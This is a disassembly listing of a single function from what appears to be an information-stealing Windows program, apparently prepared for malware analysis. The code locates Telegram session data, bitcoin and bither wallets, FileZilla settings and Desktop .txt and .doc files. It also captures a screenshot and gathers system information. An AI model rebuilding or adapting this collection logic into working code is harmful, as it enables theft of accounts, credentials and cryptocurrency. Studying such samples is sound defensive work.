Function at 0x403ba9
Capabilities:
Check if file exists
Delete file
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ecx, str.APPDATA
call fcn.00401e10
mov ebx, eax
push str.Telegram_Desktop_tdata
push ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
mov edx, ebx
mov ecx, edi
call fcn.0045102d
mov edx, dword [ebp + 8]
pop ecx
mov ecx, edi
call fcn.004036d9
mov edx, dword [ebp + 0xc]
mov ecx, edi
call fcn.0040352b
mov edx, dword [ebp + 0x10]
mov ecx, edi
call fcn.004032bc
mov edx, dword [ebp + 0x14]
mov ecx, edi
call fcn.00403112
mov edx, dword [ebp + 0x18]
mov ecx, edi
call fcn.0040345c
mov ecx, str.APPDATA
call fcn.00401e10
mov edx, dword [ebp + 0x1c]
lea ecx, [ebp - 0x18]
push 0
mov ebx, eax
mov dword [ebp - 0x18], str.wallet
push ebx
push edi
push 1
push str.Crypto
push 3
mov dword [ebp - 0x14], str.bitcoin
mov dword [ebp - 0x10], str.bither
call fcn.004020b4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0x18
test ebx, ebx
je 0x403c60
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp + 0x20]
mov ecx, edi
call fcn.00403867
mov ecx, str.APPDATA
call fcn.00401e10
mov ebx, eax
push str.FileZilla
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403cae
test eax, 0x10
je 0x403cae
mov edx, dword [ebp + 0x24]
xor eax, eax
push eax
push ebx
push edi
push eax
push str.File_Zilla
push eax
xor ecx, ecx
call fcn.004020b4
add esp, 0x18
test ebx, ebx
je 0x403cc2
push ebx
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
jmp 0x403cc8
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp + 0x28]
mov ecx, edi
call fcn.0040391e
mov edx, dword [ebp + 0x2c]
mov ecx, edi
call fcn.00403a03
mov edx, dword [ebp + 0x30]
mov ecx, edi
call fcn.00403b02
push 0x1003e
push 8
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x7fff
push eax
push str.TEMP
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str._screenshot.bmp
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 8]
call fcn.00401e3c
push 2
push 0
push dword [ebp - 8]
mov edx, str.Screenshot.bmp
mov ecx, edi
call fcn.0045507c
add esp, 0xc
test eax, eax
jne 0x403d43
mov eax, dword [ebp + 0x34]
mov dword [eax], 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, str.USERPROFILE
call fcn.00401e10
push str.Desktop
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp + 0x38]
lea ecx, [ebp - 0x14]
push 1
push dword [ebp - 8]
mov dword [ebp - 0x14], str..txt
push edi
push 1
push str.Userprofile
push 2
mov dword [ebp - 0x10], str..doc
call fcn.004020b4
mov eax, dword [ebp - 8]
add esp, 0x18
test eax, eax
je 0x403d9f
push eax
push 0
call esi
push eax
call ebx
call fcn.00401c2c
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov edx, str.System.txt
push 3
push eax
push dword [ebp - 8]
mov ecx, edi
call fcn.0045507c
mov eax, dword [ebp - 8]
add esp, 0xc
test eax, eax
je 0x403dd4
push eax
push 0
call esi
push eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x403de3
push eax
push 0
call esi
push eax
call ebx
pop edi
pop esi
pop ebx
leave
ret